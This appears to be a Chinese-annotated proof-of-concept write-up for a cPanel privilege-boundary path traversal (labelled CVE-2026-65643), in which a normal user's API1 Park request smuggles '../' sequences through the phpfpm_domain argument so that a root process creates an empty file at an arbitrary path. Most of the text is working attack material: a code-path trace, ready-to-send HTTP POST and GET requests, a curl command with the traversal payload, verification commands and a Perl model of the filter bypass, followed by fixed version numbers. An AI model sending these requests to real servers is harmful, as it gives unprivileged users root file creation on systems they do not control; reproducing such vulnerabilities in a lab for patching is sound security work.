$domain =~ s/^www\\.//g;
$domain =~ tr/A-Z/a-z/;
$domain =~ /([\\-a-z\\.0-9]*)/i;   # 只保留 字母/数字/-/.
$domain = $1;

in=evil.example/../x   captured=evil.example    ← 斜杠及之后全被丢弃
in=ok.example;id       captured=ok.example      ← 分号注入也没戏

my $fhmode = O_WRONLY | O_CREAT | O_EXCL;
sysopen( $fh, $path, $fhmode ) or ...;   # 只创建\"空文件\"，且不能覆盖已有文件

park($domain, $topdomain, $disallowdot, $do_ssl_setup, $phpfpm_domain, $ignore_limits, $force)

sub Park_park {
    my ( $result, $reason ) = park(@_);   # arg-4 phpfpm_domain 原样喂进去
    ...
}

$phpfpm_domain = 0 if !defined $phpfpm_domain;   # 就这一句，形同虚设

[普通用户 API1 请求]
      │  arg-4 = phpfpm_domain（任意字符串）
      ▼
Cpanel::Park::park()               ← 不校验 phpfpm_domain
      │  adminrun('park','ADD',...,$phpfpm_domain,...)
      │  参数用空格 join，协议: (\\d*) (ADD|DEL|DELADDON) (.*)
      ▼  ★跨越特权边界★
[root] bin/admin/Cpanel/park (park.pl)
      │  queue_convert_domain($phpfpm_domain)
      ▼
Cpanel::PHPFPM::EnableQueue::Adder->add($phpfpm_domain)
      ▼
Cpanel::TaskQueue::SubQueue::Adder::add()
      │  die if index($name,'.')==0     ← 只拦\"以 . 开头\"
      │  $path = _DIR() . \"/$name\"      ← 内部的 / 完全不清理！
      ▼
sysopen(O_WRONLY|O_CREAT|O_EXCL)   ← 以 root 创建空文件
父目录不存在时 → mkdir 0700        ← 以 root 按需建目录

队列目录 = /var/cpanel/taskqueue/groups/enable_fpm_subqueue
名字策略 = 只拒绝「以 . 开头」，内部 / 与 /../ 不清理

lab 标记名 =
  x/../../../../../../tmp/cve_2026_65643_lab_proof
  │ └─ 6 个 ../ ：先吃掉名字里的 x，再跳出 groups→taskqueue→cpanel→var→/
  └─ 前缀 x 让整串「不以 . 开头」，骗过 index($name,'.')==0

最终落盘（root 创建空文件）=
  /tmp/cve_2026_65643_lab_proof

POST /cpsess##########/json-api/cpanel HTTP/1.1
Host: lab-target.example.com:2083
Cookie: cpsession=USERNAME%3aXXXX%2cXXXX; session=XXXXXXXX
Content-Type: application/x-www-form-urlencoded
Accept: application/json
Connection: close
Content-Length: 225

cpanel_jsonapi_apiversion=1&cpanel_jsonapi_module=Park&cpanel_jsonapi_func=park&arg-0=parkme.lab-target.example.com&arg-1=&arg-2=0&arg-3=0&arg-4=x%2F..%2F..%2F..%2F..%2F..%2F..%2Ftmp%2Fcve_2026_65643_lab_proof&arg-5=0&arg-6=1

明文 : x/../../../../../../tmp/cve_2026_65643_lab_proof
编码 : x%2F..%2F..%2F..%2F..%2F..%2F..%2Ftmp%2Fcve_2026_65643_lab_proof

GET /json-api/cpanel?cpanel_jsonapi_apiversion=1&cpanel_jsonapi_module=Park&cpanel_jsonapi_func=park&arg-0=parkme.lab-target.example.com&arg-1=&arg-2=0&arg-3=0&arg-4=x%2F..%2F..%2F..%2F..%2F..%2F..%2Ftmp%2Fcve_2026_65643_lab_proof&arg-5=0&arg-6=1 HTTP/1.1
Host: lab-target.example.com:2083
Authorization: Basic <base64(cpanel_user:password)>
Accept: application/json
Connection: close

AUTH=$(printf '%s' 'cpanel_user:password' | base64 -w0)
curl -sk \\
  -H \"Authorization: Basic ${AUTH}\" \\
  --get \"https://lab-target.example.com:2083/json-api/cpanel\" \\
  --data-urlencode \"cpanel_jsonapi_apiversion=1\" \\
  --data-urlencode \"cpanel_jsonapi_module=Park\" \\
  --data-urlencode \"cpanel_jsonapi_func=park\" \\
  --data-urlencode \"arg-0=parkme.lab-target.example.com\" \\
  --data-urlencode \"arg-1=\" \\
  --data-urlencode \"arg-2=0\" \\
  --data-urlencode \"arg-3=0\" \\
  --data-urlencode \"arg-4=x/../../../../../../tmp/cve_2026_65643_lab_proof\" \\
  --data-urlencode \"arg-5=0\" \\
  --data-urlencode \"arg-6=1\"

# 复现前
ls -l /tmp/cve_2026_65643_lab_proof 2>/dev/null || echo 'marker absent (good)'

# 发送 PoC 后
ls -la /tmp/cve_2026_65643_lab_proof
# 预期类似：
# -rw------- 1 root root 0 ... /tmp/cve_2026_65643_lab_proof
#            ^^^^ root 拥有、大小为 0 → 「以 root 创建空文件」原语成立

stat -c 'uid=%u user=%U size=%s' /tmp/cve_2026_65643_lab_proof

sysopen($fh, $path, O_WRONLY | O_CREAT | O_EXCL);  # 只创建，不写 body

#!/usr/bin/env perl
use strict; use warnings;
use File::Spec;

my $DIR = File::Spec->catdir(File::Spec->tmpdir(), 'enable_fpm_subqueue_model');
sub adder_accepts { return index($_[0], '.') != 0; }
sub resolved {
    my $joined = \"$DIR/$_[0]\"; my @parts;
    for my $p (File::Spec->splitdir($joined)) {
        next if !defined $p || $p eq '' || $p eq '.';
        if ($p eq '..') { pop @parts if @parts; next; }
        push @parts, $p;
    }
    return '/' . join('/', @parts);
}

printf(\"%-40s %-9s %-8s %s\
\", 'name','accepted','escapes','resolved');
for my $name (
  'example.com', '.hidden', '../nope',
  'x/../../../../../../tmp/cve_2026_65643_lab_proof',
  'sub.example.com'
) {
    my $ok  = adder_accepts($name) ? 'yes' : 'no';
    my $res = resolved($name);
    my $esc = ($ok eq 'no') ? 'n/a' : (index($res,$DIR)==0 ? 'no' : 'yes');
    printf(\"%-40s %-9s %-8s %s\
\", $name, $ok, $esc, $res);
}

11.110.0.141+ / 11.134.0.53+ / 11.136.0.37+ / 11.138.0.2+ / WP2 11.138.1.7+

# 视实际环境执行
/scripts/restartsrv_cpsrvd
systemctl restart httpd crond   # 服务名以你的系统为准